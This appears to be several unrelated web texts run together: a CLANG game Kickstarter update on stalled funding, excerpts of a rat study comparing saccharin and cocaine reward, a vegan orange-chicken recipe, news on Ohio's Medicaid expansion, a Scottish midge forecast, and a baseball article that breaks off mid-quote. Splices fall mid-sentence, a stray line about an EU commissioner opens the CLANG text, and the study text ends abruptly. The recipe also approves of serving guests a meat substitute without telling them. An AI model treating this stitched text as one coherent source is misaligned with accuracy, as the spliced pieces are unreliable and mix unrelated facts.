Earlier the EU’s Justice Commissioner said she sympathised with the protesters.We've hit the pause button on further CLANG development while we get the financing situation sorted out. We stretched the Kickstarter money farther than we had expected to, but securing the next round, along with constructing improvised shelters and hoarding beans, has to be our top priority for now. We hope we'll be able to make an announcement on that front soon. In the meantime, if you're still interested in helping the next generation of swordfighting games move forward, have a look at the STEM Kickstarter now being run by our friends at Sixense. We've contributed to an update on their Kickstarter that will explain some of the reasons we are excited about what they're doing.
Now, a lot more detail for those who are interested.
THE FINANCING PICTURE IN GENERAL
Loyal donors may be curious as to why an apparently promising game is difficult to finance. The answer has a lot to do with the current state of the video game industry. While we have been working on CLANG, two major video game publishers, THQ and LucasArts, have gone out of business. Others have fallen on hard times. The current generation of consoles is coming to the end of its life cycle. Rather than invest in innovative new titles, the still-surviving publishers tend to keep their heads down, grinding out sequels and extensions to well-worn AAA franchises.
The overall climate in the industry has become risk-averse to a degree that is difficult to appreciate until you've seen it. It is especially bemusing to CLANG team members who, by cheerfully foregoing other opportunities so that they could associate themselves with a startup in the swordfighting space, have already shown an attitude to career, financial, and reputational risk normally associated with the cast members of Jackass.
To a game publisher crouched in a fetal position under a blanket, CLANG seems extra worrisome because it is coupled to a new hardware controller. Not that you can’t play it with mouse and keyboard--you can--but we’ve been clear from the beginning that the swordfighting problem can’t really be solved without new hardware. Coupling the success of CLANG to concurrent developments in hardware adds an additional element of perceived risk that is off-putting to the small number of people who are still willing to even consider funding games.
Which is why supporting Sixense’s STEM project is the most effective way to help CLANG: it will get the next generation of hardware out on the market, reducing the element of perceived risk and, we hope, clearing the way for us to pursue our own quest to find financiers who have steady nerves and other anatomical prerequisites. Moreover, it embodies a number of upgrades that we specifically asked for and that will improve CLANG in specific ways.
CLANG and STEM
OUR STANCE ON UPDATES
As some of you have quite reasonably pointed out, we have gone a long time without updates. This doesn't reflect our ideal of how to go about communicating with our donors. It is a consequence of the very nature of fundraising. Even in favorable circumstances, the search for funding can last a staggeringly long period of time. At any given point in the fundraising process, one or more conversations is underway with possible funders; each of these conversations tends to spread out over a span of months and to turn into its own separate drama complete with moments of hope and reversals of fortune. The dreaded term "next week" makes frequent appearances in emails. All of those interactions are, of course, confidential. Sending out a vague update about inconclusive, ongoing conversations with potential investors doesn't seem nearly as attractive as waiting a couple more weeks for a deal to actually come through, and then making a triumphant announcement of that. We have been in exactly that holding pattern since early 2013 when we began the fundraising quest in what we believed was a timely fashion, i.e., long enough before the exhaustion of the Kickstarter funds that we believed we had a healthy safety cushion.
WHAT WE CAN SAY ABOUT OUR CURRENT STATUS
Is the CLANG project dead? At what point do you put a toe tag on an indie game and call it finished? Opinions on that might vary, but in our opinion, the project doesn't die simply because it runs out of money. Projects run out of money all the time. As a matter of fact, game industry veterans we have talked to take a blithe attitude toward running out of money, and seem to consider it an almost obligatory rite of passage.
The project isn't dead in dead-parrot sense until the core team has given up on it and moved decisively on to other projects. Other events such as declarations of bankruptcy can also serve as pretty reliable markers of a project's being dead.
In the case of CLANG, none of this has happened yet. When a couple of promising leads fell through for us in a short span of time circa May, it became obvious to us that our essential people would have to find other ways to keep body and soul together during an upcoming span of time, of indeterminate length, during which the CLANG project would be unable to pay them. They chose to find temporary work in the Seattle area, rather than giving up on CLANG altogether and seeking permanent jobs.
We are working on CLANG as an "evenings and weekends" project until such time as we get funding for a more commercial-style reboot. Paradoxically, we feel better about the future of CLANG now than we did when the clock was ticking down. Then, we were feeling under pressure to make decisions that might not have been in the project's best long-term interests. Now that the pressure is relieved, however, we can operate more calmly and look for ways to set this thing up in a sustainable way. Meanwhile, the publishing side of Subutai continues to fulfill its obligations and transact business normally.
LESSONS LEARNED
--Kickstarter lock-in. Kickstarter is amazing, but one of the hidden catches is that once you have taken a bunch of people's money to do a thing, you have to actually do that thing, and not some other thing that you thought up in the meantime. In our case, what it meant was that in April of 2013 we were still executing on a strategy that we had come up with at the beginning of 2012. A conventionally funded company would have changed course several times during such a long span of time, adapting its strategy to what was happening in the market. --the Neal Stephenson fan obfuscation hypothesis. The potential financiers most likely to talk to us are Neal Stephenson fans. Once they have actually met Neal and gotten their books signed, it turns out that they are not really that interested in our project. But they don't want to make Neal Stephenson feel bad and so they don't give him any useful feedback; instead they just go dark. In the meantime we have wasted a huge amount of time on them. We were slow to cotton on to this. --we don't match the profile, or the timing, of their fund/investment strategy. VCs have extremely specific requirements and generally cannot color outside those lines. --we simply haven't talked to that many potential investors yet. It is time-consuming and a small number of people can only do so much of it. --they assume we don't actually need the money. This might actually be a variant of the Stephenson fan obfuscation hypothesis. We frequently encounter a sort of wall of incredulity that Stephenson could really be having trouble obtaining funding for a swordfighting game project. --the prototype/demo is underwhelming in its current state. We always knew that this would be the case, but there is little to be done about it since we are trying to build a new game play mechanic from scratch, not just re-skin a familiar mechanic. In other words, this is not a failure of execution our part, but some might consider it a tactical mistake, arguing that we should have put more into gameplay and less into fundamentals. We're comfortable with the direction we went, since without fundamentals we don't really have anything new to offer. --the "fruit fly among the elephants" problem. A small startup can be founded and pass through its entire life cycle, including death, during the time that it takes a large entity to make a decision and draw up the legal documents. It is almost impossible to get large company employees to feel even a mild sense of urgency about anything. --Potential investors/publishers are worried about our team. This hypothesis is the one we hear most frequently from sympathetic people within the industry. Video game investors are extremely team-conscious. Our team punches above its weight, but the amount of the KS raise wasn't sufficient to staff up a full-sized group, leaving us vulnerable to the criticism that the team is missing certain elements. Of course, the answer is "we'll hire some awesome people once we get funded." In the climate of anxiety that seems to pervade the industry now, however, any perceived risk factor is sufficient to torpedo a pitch, and so all such discussions end up following the template of the justly famous "Tesla pitches VCs" video.
Why bother to keep trying at all then? Because the advent of new hardware in this market is soon going to make the existing blockbuster game franchises look old and tired, at which point people will be looking for something fundamentally new to make buying that new hardware worth it. What will our approach be, now that we've bought ourselves some time? We doubt it is productive to subject CLANG to comparison shopping before the jaded eyes of generic VCs. Our approach needs to be more selective. But it is almost impossible for a small group, focused on making a game, to obtain the sort of Olympian perspective on the game funding landscape that is needed to identify the right sorts of investors quickly enough to be of any use. Our only efficient choice is to keep doing what we're doing and wait for the right investor to come along. The right investor for CLANG is one who has some pre-existing interest in what we are doing. This might be as simple as a personal fascination with swordfighting or sword games, or something more strategic such as a connection with a hardware-based strategy within the video game industry. Finding people like that takes time, which is one reason we ran out of it. Some team building might help, but, keeping in mind video game publishers' extreme focus on all-star teams, the only people who could really help us in this department would be ones with truly first-rate credentials--people whose mere association with a project can bring in investment dollars--who are willing to take a chance on something that might or might not get funded and work without pay in the meantime.
What can people do to help? Probably not that much, unless they happen to be qualified investors or superstar game programmers looking for an adventure. If you are one of our Kickstarter donors, then probably the most helpful thing you can do, as far as the CLANG team is concerned, is to be patient. We always knew that this was going to take a while and that we'd hit some bumps along the way. And we feel that the decision we've made is much better than the alternatives which were to [a] quit, [b] panic and sell out, or [c] get into a bad relationship with the wrong investor.
Sincerely,
The CLANG teamAbstract Background Refined sugars (e.g., sucrose, fructose) were absent in the diet of most people until very recently in human history. Today overconsumption of diets rich in sugars contributes together with other factors to drive the current obesity epidemic. Overconsumption of sugar-dense foods or beverages is initially motivated by the pleasure of sweet taste and is often compared to drug addiction. Though there are many biological commonalities between sweetened diets and drugs of abuse, the addictive potential of the former relative to the latter is currently unknown. Methodology/Principal findings Here we report that when rats were allowed to choose mutually-exclusively between water sweetened with saccharin–an intense calorie-free sweetener–and intravenous cocaine–a highly addictive and harmful substance–the large majority of animals (94%) preferred the sweet taste of saccharin. The preference for saccharin was not attributable to its unnatural ability to induce sweetness without calories because the same preference was also observed with sucrose, a natural sugar. Finally, the preference for saccharin was not surmountable by increasing doses of cocaine and was observed despite either cocaine intoxication, sensitization or intake escalation–the latter being a hallmark of drug addiction. Conclusions Our findings clearly demonstrate that intense sweetness can surpass cocaine reward, even in drug-sensitized and -addicted individuals. We speculate that the addictive potential of intense sweetness results from an inborn hypersensitivity to sweet tastants. In most mammals, including rats and humans, sweet receptors evolved in ancestral environments poor in sugars and are thus not adapted to high concentrations of sweet tastants. The supranormal stimulation of these receptors by sugar-rich diets, such as those now widely available in modern societies, would generate a supranormal reward signal in the brain, with the potential to override self-control mechanisms and thus to lead to addiction.
Citation: Lenoir M, Serre F, Cantin L, Ahmed SH (2007) Intense Sweetness Surpasses Cocaine Reward. PLoS ONE 2(8): e698. https://doi.org/10.1371/journal.pone.0000698 Academic Editor: Bernhard Baune, James Cook University, Australia Received: April 24, 2007; Accepted: July 4, 2007; Published: August 1, 2007 Copyright: © 2007 Lenoir et al. This is an open-access article distributed under the terms of the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original author and source are credited. Funding: This work was supported by grants from the Université Victor-Segalen Bordeaux 2, the French Research Council (CNRS), the Conseil Régional Aquitaine, the National Research Agency (ANR) and the Fondation pour la Recherche Médicale (FRM). Competing interests: The authors have declared that no competing interests exist.
Introduction Sweet taste perception is an innate capacity that depends on two G-protein-coupled subunit receptors, T1R2 and T1R3, located on the tongue [1], [2]. The stimulation of these receptors by diets rich in sweet tastants, such as, for instance, sugar-sweetened beverages (soft drinks, colas, fruit beverages), generates a sensation that most humans and other mammals, including rodents, find intensely rewarding [3]–[6]. Once reserved to a small elite, the consumption of highly sweetened diets is now highly prevalent in developed countries and is escalating elsewhere [7], [8]. Though difficult to estimate, sweet sensations evoked by sugar-sweetened foods and drinks are probably one of the most precocious, frequent and intense sensory pleasures of modern humans [7], [9]. However, the current pursuit of sweet sensations far exceeds metabolic needs and is thought to contribute, together with several other factors [10]–[13], to drive the current obesity epidemic [7], [14]. The passive overconsumption of sugar-sweetened diets has often been compared to drug addiction, though this parallel was based until very recently more on anecdotal evidence than on solid scientific grounds. More recently, mounting evidence from experimental research on animals, especially rats, have unearthed deep commonalities between overconsumption of sugars and drug addiction [15]–[17]. First, both sweet tastants [18], [19] and drugs of abuse [20], [21] stimulate dopamine signaling in the ventral striatum, a brain signaling pathway critically involved in reward processing and learning [22], [23]. Second, both cross-tolerance [24], [25] and cross-dependence [26]–[28] have been observed between sugars and drugs of abuse. For instance, animals with a long history of sucrose consumption become tolerant to the analgesic effects of morphine [25]. In addition, naloxone–an opiate antagonist–precipitates in rats with sugar overconsumption some of the behavioral and neurochemical signs of opiate withdrawal [28]. This latter observation is important because it shows that overconsumption of sugar-sweetened beverages may induce a dependence-like state. Finally, recent neuroimaging studies in humans have recently discovered neuroadaptations in the brain of obese individuals that mimic those previously observed in individuals addicted to cocaine and other drugs of abuse [29], [30]. Overall, there are many behavioral and biological commonalities between sugar-sweetened beverages and drugs of abuse. However, the addictive potential of the former relative to the latter is much less clear. Previous research showed that concurrent access to highly sweetened water (saccharin plus glucose) can reduce self-administration of low doses of cocaine in non-dependent rats [31], [32], suggesting that sweetened water may surpass cocaine reward–one of the most addictive and harmful substance currently known [33]. Whether this effect results from a genuine preference for intense sweetness or other factors (e.g., use of a suboptimal dose of cocaine and/or lack of cocaine dependence) has not been established yet, however. The present series of experiments was designed to directly address this question. We developed a discrete-trials choice procedure to measure the reward value of an intense sweet taste relative to intravenous cocaine. This procedure was first tested in non-restricted, naïve rats to determine how, without any prior experience with cocaine or intense sweetness, animals learn to differentially value both types of reward. Then, the same procedure was applied to rats following an extended access to cocaine self-administration. Previous research showed that with prolonged access to cocaine, most rats develop the major signs of addiction, including drug intake escalation [34], compromised brain reward processing [35] and difficulty to stop drug seeking despite negative consequences [36].
Discussion Virtually all rats preferred saccharin over intravenous cocaine, a highly addictive drug. The preference for saccharin is not attributable to its unnatural ability to induce sweetness without subsequent caloric input because the same preference was also observed with an equipotent concentration of sucrose, a natural sugar. Importantly, the preference for saccharin sweet taste was not surmountable by increasing doses of cocaine and was observed despite either cocaine intoxication, sensitization or intake escalation – the latter being a hallmark of drug addiction [22], [34]. In addition, in several cases, the preference for saccharin emerged in rats which had originally developed a strong preference for the cocaine-rewarded lever. Such reversals of preference clearly show that in our setting, animals are not stuck with their initial preferences and can change them according to new reward contingencies. Finally, the preference for saccharin was maintained in the face of increasing reward price or cost, suggesting that rats did not only prefer saccharin over cocaine (‘liking’) but they were also more willing to work for it than for cocaine (‘wanting’). As a whole, these findings extend previous research [31], [32] by showing that an intense sensation of sweetness surpasses maximal cocaine stimulation, even in drug-sensitized and -addicted users. The absolute preference for taste sweetness may lead to a re-ordering in the hierarchy of potentially addictive stimuli, with sweetened diets (i.e., containing natural sugars or artificial sweeteners) taking precedence over cocaine and possibly other drugs of abuse. Though very pronounced, the preference for saccharin in the S+/C+ condition was not exclusive. On average, rats selected lever C on about 15.6% of occasions (range between experiments: 7 to 23%) which, together with sampling doses, represent a total of 3 intravenous cocaine doses per day. This daily amount of cocaine self-administration is very low compared to what rats will spontaneously self-administer during the same period of time (i.e., about 30 doses). Interestingly, this very low amount of cocaine intake was nevertheless sufficient in itself to induce a rapid and strong drug sensitization (see below). In fact, even in the S+/C- condition, rats occasionally responded on lever C (8.3% of the time) which was not rewarded by cocaine in this condition. This residual level of responding on lever C is not surprising and is predicted by the matching law which refers to the well-documented tendency of animals or humans to distribute their behavior in proportion to the reward value of available options [39]. This interpretation suggests that even in the S+/C- condition, responding on lever C has some, though relatively weak, reward value. In the present study, the reward value of lever C in the S+/C- condition probably results from some partial stimulus generalization between lever S and lever C while, in the S+/C+ condition, it probably largely results from cocaine itself. Regardless of this residual tendency to choose lever C, the present study nevertheless clearly demonstrates that rats largely prefer lever S when it is rewarded by taste sweetness. At first glance, the discovery that intense sweetness surpasses intravenous cocaine is difficult to conciliate with previous empirical and theoretical research on cocaine addiction. First, our findings seem to run counter to seminal research in monkeys showing that the large majority of individuals prefer high doses of intravenous cocaine over dry food, regardless of the amount of food available [40], [41] and even despite severe weight loss [42]. However, in most previous studies, except one [43], the food option contained no or only modest concentrations of sweet tastants, which probably explains why it was neglected in favor of high doses of cocaine. In addition, in those studies that employed lightly sweetened food pellets [41], the amount of effort required to obtain the food option was ten times higher than to obtain cocaine, thereby favoring drug choices. However, in one choice study, all monkeys clearly preferred, ceteris paribus, the highest dose of cocaine over a 1-g sucrose pellet [43]. The discrepancy between this latter study and the present study may suggest either that sweetened beverages are more rewarding than sweetened dry-foods (which may induce thirst in addition to reward) and/or that one 1-g sucrose pellet is not enough to surmount the rewarding effects of the highest doses of cocaine. Finally, one cannot rule out the possibility that this discrepancy could also reflect an inter-specific gap between rodents and primates, the latter being hypothetically more susceptible to cocaine reward than the former. Future research is needed to tease apart these different hypotheses. Nevertheless, the present study clearly demonstrates in rats–an animal species that readily self-administer cocaine and that develops most of the signs of addiction following extended drug access [34]–[36]–that the reward value of cocaine is bounded and does not surpass taste sweetness–a sensory-driven reward. Our findings are also difficult to predict from current theorizing about the neurobiology of cocaine addiction. Despite considerable divergences, most influential theories of cocaine addiction (including recent neurocomputational models [44], [45]) postulate that cocaine is initially addictive through its direct and supranormal stimulation of dopamine signaling in the ventral striatum [15], [22], [46]–[49]. The repetition of this supranormal activation with repeated cocaine use would further increase the value of cocaine above that of other rewards, regardless of their initial value, thereby biasing decision-making towards excessive cocaine choice. This prediction is apparently contradicted by the present study. A meta-analysis of the literature (see Material and Methods) showed that intravenous cocaine self-administration was much more potent than sucrose or saccharin consumption in inducing dopamine levels in the ventral striatum in rats (Fig. 6). Despite its much greater neurochemical potency, however, we found that cocaine reward paled in comparison to sweet reward. In addition, the preference for saccharin developed despite a rapid and strong sensitization to the stimulant effects of cocaine–a well-documented behavioral phenomenon that is associated with long-lasting changes in striatal dopamine signaling [46], [47]. Thus, the ability of cocaine to directly boost midbrain dopamine neurons and to sensitize them durably is apparently not sufficient to make cocaine irresistible. This conclusion may somehow lead to a revision of some of the basic assumptions that underlie current neurobiological models of cocaine addiction. PPT PowerPoint slide
PowerPoint slide PNG larger image
larger image TIFF original image Download: Figure 6. Effects of sucrose, saccharin or cocaine consumption on ventral striatal dopamine levels. a, Consumption of sweet solutions turns on midbrain dopamine cells that projects to the ventral striatum, possibly through a short, two-relay circuit in the brain stem [80]. In contrast, cocaine directly increases dopamine levels in the ventral striatum by blocking dopamine uptake. The symbol+indicates pharmacological or sensory stimulation and the symbol x, intermediate synapses. NST, nucleus of the solitary tract; PBN, parabrachial nucleus; VS, ventral striatum; VTA, ventral tegmental area. b, Mean (±SEM) levels of extra-cellular dopamine in the ventral striatum (expressed as percent change from baseline) during sucrose, saccharin or cocaine intake. These results are based on a meta-analysis of the literature (see Materials and Methods). Values that appear on the right of symbols represent sucrose or saccharin concentrations (in %) and cocaine doses (in mg/kg). https://doi.org/10.1371/journal.pone.0000698.g006 First, our study may suggest that though much less efficacious in inducing presynaptic dopamine levels in the ventral striatum, sweet consumption may nevertheless generate an overall postsynaptic dopamine signal more intense than cocaine. The postsynaptic effects of supranormal levels of dopamine induced by cocaine are indeed probably limited by short-term receptor desensitization and/or inter- or intracellular opponent processes [15], [22]. Thus, absolute levels of striatal dopamine in response to different types of reward may not accurately predict their addictive potential. More direct measures of postsynaptic dopamine signaling will be required in the future to test this hypothesis. Alternatively, the absolute preference for intense sweetness may also point to the existence of brain signaling pathways that are more powerful than the mesostriatal dopamine pathway in controlling reward-oriented behavior and that taste sweetness would activate more vigorously than cocaine. Striatal opioid peptides are currently the best candidates to perform this function. Striatal gene expression of opioid peptides is modulated by overconsumption of sweetened water [50], [51] and pharmacological activation of ventral striatal opioid receptors, especially of mu receptors, increases the intake and palatability of sweetened water [52], [53]. What is less clear at present, however, is whether activation of striatal opioid signaling can override dopamine signaling in the control of behavior. One way to address this question would be to allow rats to choose between cocaine and a drug manipulation that selectively boosts striatal opioid signaling. A more general approach would be to use brain imaging technologies to search for regions or networks that respond more to taste sweetness than to intravenous cocaine. Finally, it is also possible that taste sweetness surpasses cocaine simply because the latter has more negative side-effects and thus is more conflictual or ambivalent than the former [54]. Indeed, besides activating striatal dopamine signaling, cocaine also activates brain stress pathways, such as the extra-hypothalamic corticotropin-releasing factor pathways which play a critical role in fear and anxiety [55]. The concurrent activation of brain stress pathways by cocaine could explain why initially drug-naïve rats were more hesitant in sampling the cocaine-rewarded lever than the saccharin-rewarded lever in the present study. In addition, the ambivalent effects of cocaine may also contribute to explain why rats in the S+/C+ condition developed a reliable preference for lever S more rapidly that rats in the S+/C- condition (day 2 versus day 7). However, this ambivalence hypothesis is unlikely to explain the preference for taste sweetness in cocaine-escalated rats which did no longer show this hesitation (latency to sample lever C: 15.6±8.1 s; latency to sample lever S: 4.0±0.8 s; F(1,10) = 2.06, NS), presumably because of a tolerance to the stressful or anxiogenic effects of cocaine. Whatever the mechanisms involved, the discovery that intense sweetness takes precedence over cocaine, one of the most addictive and harmful substance currently known [33], suggests that highly sweetened beverages, such as those widely available in modern human societies, may function as supernormal stimuli [56]. By definition, a supernormal stimulus is more effective than naturally occurring stimuli in controlling behavior and therefore can override normal behaviors (e.g., host-bird parents succumbing to the supernormal begging call of an insatiable nestling cuckoo to the detriment of their own offspring [57]). Sweet taste perception depends on two G-protein-coupled subunit receptors, T1R2 and T1R3 [1], [2]. In most mammals, including rodents and primates, these receptors have evolved in ancestral environments poor in sugars and are thus not adapted to high concentrations of sweet tastants [1], [2]. We speculate that the supranormal stimulation of these receptors by highly-sweetened diets generates a supranormal reward, with the potential to override both homeostatic and self-control mechanisms and thus to lead to addiction [58]. Finally, the present study may also suggest that the current, widespread availability of sugar-rich diets in modern human societies may provide an unsuspected, though highly costly, shield against the further spread of drug addiction. Future research on animals reared in sugar-enriched environments, to better approximate the modern human condition, may provide important clues to address this important issue.
Materials and Methods Subjects Naïve, young adult (221–276 g), male, Wistar rats (N = 132) were used in the present study (Charles River, France). Rats were housed in groups of two or three and were maintained in a light- (12-h reverse light-dark cycle) and temperature-controlled vivarium (22°C). All behavioral testing occurred during the dark phase of the light-dark cycle. Food and water were freely available in the home cages. Food consisted of standard rat chow A04 (SAFE, Scientific Animal Food and Engineering, Augy, France) that contained 60% of carbohydrates (largely corn starch), 16% of proteins, 12% of water, 5% of minerals, 3% of fat and 4% of cellulose. No synthetic or refined sugar was added. All experiments were carried out in accordance with institutional and international standards of care and use of laboratory animals [UK Animals (Scientific Procedures) Act, 1986; and associated guidelines; the European Communities Council Directive (86/609/EEC, 24 November 1986) and the French Directives concerning the use of laboratory animals (décret 87-848, 19 October 1987)]. Apparatus Twelve identical operant chambers (30×40×36 cm) were used for all behavioral training and testing (Imétronic, France). All chambers were located away from the colony room in a dimly lit room. They were individually enclosed in wooden cubicles equipped with a white noise speaker (45±6 dB) for sound-attenuation and an exhaust fan for ventilation. Each chamber had a stainless-steel grid floor that allowed waste collection in a removable tray containing maize sawdust. Each chamber was constituted of two opaque operant panels on the right and left sides, and two clear Plexiglas walls on the rear and front sides (the front side corresponds to the entry/exit of the chamber). Each operant panel contained an automatically-retractable lever, mounted on the midline and 7 cm above the grid. The left operant panel was also equipped with a retractable, cylinder-shaped drinking spout, 9.5 cm to the left of the lever and 6 cm above the grid. A lickometer circuit allowed monitoring and recording of licking. A white light diode (1.2 cm OD) was mounted 8.5 cm above each lever (from the center of the diode). Each chamber was also equipped with two syringe pumps placed outside, on the top of the cubicle. One syringe pump was controlled by the left lever and delivered water or saccharin (or sucrose) solution into the drinking spout through a silastic tubing (Dow Corning Corporation, Michigan, USA). The other pump was controlled by the right lever and delivered drug solution through a Tygon tubing (Cole Parmer) connected via a single-channel liquid swivel (Lomir biomedical inc., Quebec, Canada) to a cannula connector (Plastics One, Roanoke, VA) on the back of the animal. The Tygon tubing was protected by a stainless-steel spring (0.3 cm ID, 0.5 cm OD) (Aquitaine Ressort, France) which was suspended at the center of the chamber from the swivel tether connector. Vertical movements of the animal were compensated for by means of a counterbalancing weight-pulley device. Surgery Anesthetized rats (Chloral hydrate, 500 mg/kg IP) (J-T Baker, The Netherlands) were prepared with silastic catheters (Dow Corning Corporation, Michigan, USA) in the right jugular vein that exited the skin in the middle of the back about 2 cm below the scapulae. After surgery, catheters were flushed daily with 0.15 ml of a sterile antibiotic solution containing heparinized saline (280 IU/ml) (Sanofi-Synthelabo, France) and ampicilline (Panpharma, France). When needed, the patency of the catheter was checked by administering 0.15 ml of the short-acting non-barbiturate anesthetic etomidate through the catheter (Braun Medical, France). Behavioral testing began 7–10 days after surgery. Discrete-trials choice procedure Each day, rats were allowed to choose between a cocaine-paired lever (lever C) and a saccharin-paired lever (lever S) on a discrete-trials choice procedure. Cocaine reward consisted of one i.v. dose of 0.25 mg delivered over 4 s. This dose is widely used in rats and was used in all of our previous self-administration studies [34], [35]. Saccharin reward consisted of a 20-s access to a drinking spout that delivered discrete volumes (0.02 ml) of a solution of sodium saccharin at a |
with different way to recreate this dish for my vegan life style.
I have used in place of chicken seitan. This was nice but did not have the flavor I was looking for. I have also used tofu which turned out very nice but still was lacking the taste I wanted. Then one day in our markets here I found in the frozen food section a box of "Beyond Meat – Chicken Free Strips". I decided to purchase this after reading the label and found out that it was excellent for vegans.
I had to experiment with some of the other ingredients that are in an Orange Chicken recipe in order to make this for myself. One ingredient in Orange Chicken is honey. Well this one was not so hard to replace but my first two attempts I used agave nectar and molasses. The taste was nice but still did not taste like I remembered this one. My third attempt I used maple syrup and this seemed to be a better choice.
The next ingredient that was hard to eliminate was Teriyaki sauce. I saw on the internet how to make your own teriyaki sauce for vegans. I tried a few of them and yes they were nice but also took time to make these. One visit of a good friend to the islands brought a brand new alternative to teriyaki sauce. She was hooked on dark soy sauces and teriyaki sauces in her cooking. She came prepared with three bottles of Soy Vay Veri Veri Teriyaki Sauce in her suitcase. I tried this and was immediately hooked on the flavor of this sauce. You can now enjoy Chinese Orange Chicken Vegan Style if you follow this recipe at home. It is outstanding and delicious and really worth the efforts to make this one.
Ingredients:
1 Can Vegan Vegetable Broth
¾ Cup Wild Rice Rinsed – You may use white or brown rice
1 Cup Orange Juice – I fresh squeeze mine
2 Tablespoons Soy Vay Veri Veri Teriyaki Sauce
1 Teaspoon Cornstarch
1 ½ Teaspoon Maple Syrup
2 Cloves of Garlic Minced
Vegetable Non-stick Cooking Spray
¾ Pound "Beyond Meat Chicken Free Strips"
¼ Cup Dried Currants
2 ½ to 3 Cups Fresh Snow Peas
1 Orange – peeled and separated into segments
3 Teaspoons Grated Orange Peel – divided
3 Green Onions, Thinly Sliced Diagonally
1/3 Cup Chopped Fresh Cilantro
Prepare:
Combine the chicken broth and rice in a large sauce pan. Bring to a boil on high heat. Once boiling reduces to a low simmer, cover the sauce pan, and cook for 45 to 50 minutes until rice is tender. When the rice is cooked turn off the fire and keep covered.. Keep the rice warm so that you can finish preparing the rest of your meal.
Blend orange juice, teriyaki sauce, cornstarch, maple syrup and garlic in a small bowl until smooth. Please note you will have to stir this again because cornstarch will settle to the bottom of your bowl.
In a wok spray the wok with non stick vegetable spray. Heat the wok until very hot on your stove top. Once hot add the Chicken Free Strips and cook. This should not take very long to prepare these. I normally only cook them for around 2 minutes.
Mix well your orange sauce before pouring it over your chicken free strips. Add the currants into the wok and bring to a rolling boil and cook uncovered for 3 minutes.
Add the orange segments, snow peas, and 1 ½ teaspoons orange peel. Stir well and cook for 2 minutes until heated through. Stir in your onions and cilantro. Heat for one minute
Service Instructions:
Serve over a bed of brown rice and sprinkle the remaining 1 ½ teaspoon of orange peel on top.
I hope you will try this at home. You may use tofu or seitan in place of the chicken free strips I have suggested to use in this recipe. Please try this at home I know you will not be disappointed in the results.
One dinner I had there was some friends who were not vegan. I decided to serve the recipe here for dinner. They could not tell the difference in the chicken. They all thought they were eating chicken this night for dinner. I never told them the difference. What did my Grandma use to say "What they don't know won't hurt them". So you see even if you have guest over for dinner you can still prepare a vegan meal and they will enjoy this so much.Ohio’s Republican Gov. John Kasich. (Credit: Tony Dejak/Associated Press.)
Ohio just pushed the country past a symbolic threshold: it’s become the 25th state to pursue expanding Medicaid under the president’s health-care law, making the nation’s states evenly split on the issue for the first time.
As of the start of the month, 24 states had opted to forge ahead with the expansion and 26 had not, according to the Kaiser Family Foundation, a health policy news and analysis nonprofit. Ohio was among those that were not expanding health care to more low-income adults, though Republican Gov. John Kasich wanted it.
But a seven-member board that considered his request got its fourth pro-expansion member, Rep. Ross McGregor (R), on Monday morning and had voted 5 to 2 to forge ahead by the afternoon, according to local reports. Some are considering suing the state, according to The Columbus Dispatch. Many oppose the expansion on principle, as it also represents an expansion of the size of government.
States that approved the expansion get federal assistance.
Such “increases in federal funding will greatly outweigh any potential increases in state expenditures and will have positive economic effects, increasing employment and state general revenues,” the Kaiser Family Foundation found in a July report.
The expansion of Medicaid would affect some 10 million people, just over one third of whom live in the 24 states that have opted in. Some 275,000 adults could also benefit from the Ohio decision, according to the Kasich administration’s calculations, which have been verified by Politifact.
Of the 24 states with unified Republican capitals—where the GOP controls the House, Senate and governor’s mansion—only three had opted for the Medicaid expansion. Ohio makes it four. And only seven of the nation’s 30 Republican governors were overseeing a Medicaid expansion. Kasich is now the eighth.
The Affordable Care Act expanded eligibility for the low-income health care program to nearly all non-elderly adults with incomes up to 138 percent of the federal poverty level. But in a landmark ruling in the summer of 2012, the Supreme Court said states could opt out of expanding the program. The nation’s states are now evenly split on expansion.MIDGES are set to plague the Highlands in record numbers this year, according to the world’s leading expert on the insects.
Dr Alison Blackwell is predicting a “bumper” summer for the biting beastie, saying that the warm winter followed by wet and damp conditions just as midges are hatching could not be more perfect for the insect.
“If the rain continues over the next couple of weeks it will be perfect conditions and a bumper year for midges,” warned Dr Blackwell.
“With the mild winter and now the warm, wet spring weather, we could see a similar bumper first emergence in mid-late May as we had two years ago, when the weather pattern was very similar.
“The critical period that determines the timing of the first emergence is now.
“They like warm and damp conditions. They don’t like hot and dry summers. We are in the crucial period now.”
Dr Blackwell added that the spate of wildfires that have scorched the Highlands and Islands last year would have “little effect” on midge numbers.
“They are pretty adaptable in surviving all kinds of conditions,” she said.
“The larvae bury two-to-three inches into soil. I’m afraid their numbers are just so huge it will have made little difference.”
Midges cost Scotland £286m
The Scottish tourism industry is estimated to lose about £286 million-a -year because of the voracious and swarming insects.
A previous study also found that many tourists said they would not return to Scotland at the same time of year because of culicoides impunctatus.
The most high-profile case of midges affecting investment came three years ago, when a rich golf enthusiast revealed he scrapped plans to buy Loch Lomond Golf Club after being “bitten to death” by the insects.
Richard Caring said he visited the former home of the Barclays Scottish Open when it was up for sale but was, in part, put off by the swarms of insects. The club has since installed dozens of bat boxes around the course in hopes the mammals would take a bite out of the area’s midge population.
Midge facts
Two million midges weigh just a kilo - and one square metre of land will contain about 500,000 of the insects. Only the female bites.
The peak time for the midge hatch is the end of May and the first week in June.
The flying midge lives for between two days and two weeks depending on weather conditions. During this time the female can lay up to 170 eggs in as much as three batches. In a normal year there are two to three generation of midges born during the season.
The first batch of midges emerges at the start of the season from their over-wintering in the soil. These quickly bite, mate and lay their eggs. These eggs will then rapidly develop through the full midge-cycle to emerge as adults towards the end of July. These second generation midges then repeat the bite, mate and lay cycle.
SEE ALSO
• Midge susceptibility ‘may be hereditary’Ysiel Puig has thrilled fans with his skills at the plate, in the field and on the bases. (Mike Stobe/Getty Images) Ysiel Puig has thrilled fans with his skills at the plate, in the field and on the bases. (Mike Stobe/Getty Images)
Yasiel Puig has taken Major League Baseball by storm since being called up to the majors on June 3. In that time, the 22-year-old Cuban defector has hit an absurd.474/.500/.789, and whether it's been with his hitting, his baserunning, his defense or his brawling, he has proven to be a one-man advent calendar of highlights. As I can now testify based upon witnessing him firsthand, even his outs are memorable. Based upon the torrid start to his major league career, one can make a reasonable case that he belongs on the National League All-Star team when it convenes at Citi Field in New York next month.
But will he be? Giants manager Bruce Bochy — who will pilot the NL team — addressed that on SiriusXM's MLB Network Radio earlier this week. Via the Los Angeles Daily News' J.P. Hoornstra, here's his response:
